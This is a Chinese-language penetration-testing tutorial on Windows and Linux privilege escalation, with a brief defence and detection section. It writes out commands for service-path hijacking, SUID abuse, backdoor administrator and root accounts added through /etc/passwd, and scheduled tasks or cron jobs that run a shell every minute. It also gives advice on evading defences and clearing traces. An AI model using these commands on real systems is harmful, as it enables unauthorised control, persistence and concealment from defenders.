1. 内网渗透权限提升概述
内网渗透中的权限提升是安全测试的关键环节,指在已获取初始访问权限的基础上,通过技术手段获取更高级别的系统控制权。当攻击者突破边界防御进入内网后,往往只能获得普通用户权限,而真正的核心数据和系统通常需要管理员权限才能访问。
权限提升的本质是寻找和利用系统配置缺陷、软件漏洞或权限管理不当等问题。根据统计,超过60%的内网横向移动攻击都涉及权限提升操作。这就像拿到大楼门禁卡后,还需要找到方法打开总经理办公室的保险柜。
2. 常见权限提升技术路径
2.1 系统配置缺陷利用
Windows系统中常见的配置问题包括:
- 服务权限配置不当(Service Permissions)
- 计划任务漏洞(Scheduled Tasks)
- 可写系统目录(Writable System Directories)
- 注册表键值弱权限(Registry Weak Permissions)
Linux系统典型问题有:
- SUID/SGID程序滥用
- /etc/passwd可写
- cron任务配置缺陷
- 环境变量劫持
2.2 漏洞利用提权
需要重点关注以下漏洞类型:
- 本地提权漏洞(如Windows的Print Spooler漏洞)
- 内核级漏洞(如Dirty Pipe)
- 第三方软件漏洞(数据库、中间件等)
实际操作建议:保持漏洞库更新,优先尝试已知EXP,同时注意避免触发防护机制。
3. Windows系统提权实战
3.1 信息收集阶段
首先执行系统信息收集命令:
systeminfo whoami /priv net user net localgroup administrators关键检查点包括:
- 系统版本和补丁情况
- 当前用户权限和特权
- 本地用户和组信息
- 安装的第三方软件
3.2 配置缺陷利用案例
以服务权限配置为例:
- 使用accesschk检查服务权限:
accesschk.exe -uwcqv "Authenticated Users" * - 发现配置不当的服务后:
sc config <服务名> binpath= "net user hacker Password123 /add" sc start <服务名>
3.3 漏洞利用示范
以CVE-2021-36934为例:
- 检查系统版本是否符合漏洞影响范围
- 利用脚本创建影子卷副本
- 提取SAM数据库获取哈希
- 使用hashcat破解密码
4. Linux系统提权方法
4.1 SUID提权技术
查找具有SUID权限的可执行文件:
find / -perm -4000 2>/dev/null常见危险程序包括:
- /bin/bash
- /usr/bin/find
- /usr/bin/nmap
- /usr/bin/vim
利用示例(以find为例):
touch test find test -exec whoami \;4.2 内核漏洞利用
以Dirty Pipe(CVE-2022-0847)为例:
- 下载编译EXP代码
- 修改/etc/passwd添加root用户
- 提权成功后清理痕迹
5. 权限维持技术
5.1 后门账户创建
Windows系统:
net user backdoor Password123 /add net localgroup administrators backdoor /addLinux系统:
echo "backdoor:$(openssl passwd -1 Password123):0:0:root:/root:/bin/bash" >> /etc/passwd5.2 计划任务设置
Windows计划任务:
schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 1Linux cron任务:
(crontab -l;echo "*/1 * * * * /tmp/shell")|crontab -6. 防御检测建议
6.1 防御措施
- 及时安装系统补丁
- 遵循最小权限原则
- 定期审计账户和权限
- 启用日志记录和监控
6.2 检测方法
- 监控异常账户创建
- 检查计划任务变更
- 分析特权命令执行
- 关注服务配置修改
7. 常见问题排查
EXP执行失败怎么办?
- 检查系统架构匹配(x86/x64)
- 确认防病毒软件是否拦截
- 尝试不同漏洞利用方式
提权后连接中断?
- 检查网络稳定性
- 使用持久化后门
- 考虑使用多个入口点
如何绕过防护?
- 使用无文件攻击技术
- 尝试白名单程序劫持
- 利用合法管理工具
在实际渗透测试中,权限提升往往需要结合多种技术手段。我个人的经验是,系统配置缺陷比漏洞利用更常见,但漏洞利用的成功率更高。建议先尝试配置缺陷提权,失败后再转向漏洞利用。同时要注意操作痕迹清理,避免触发安全警报。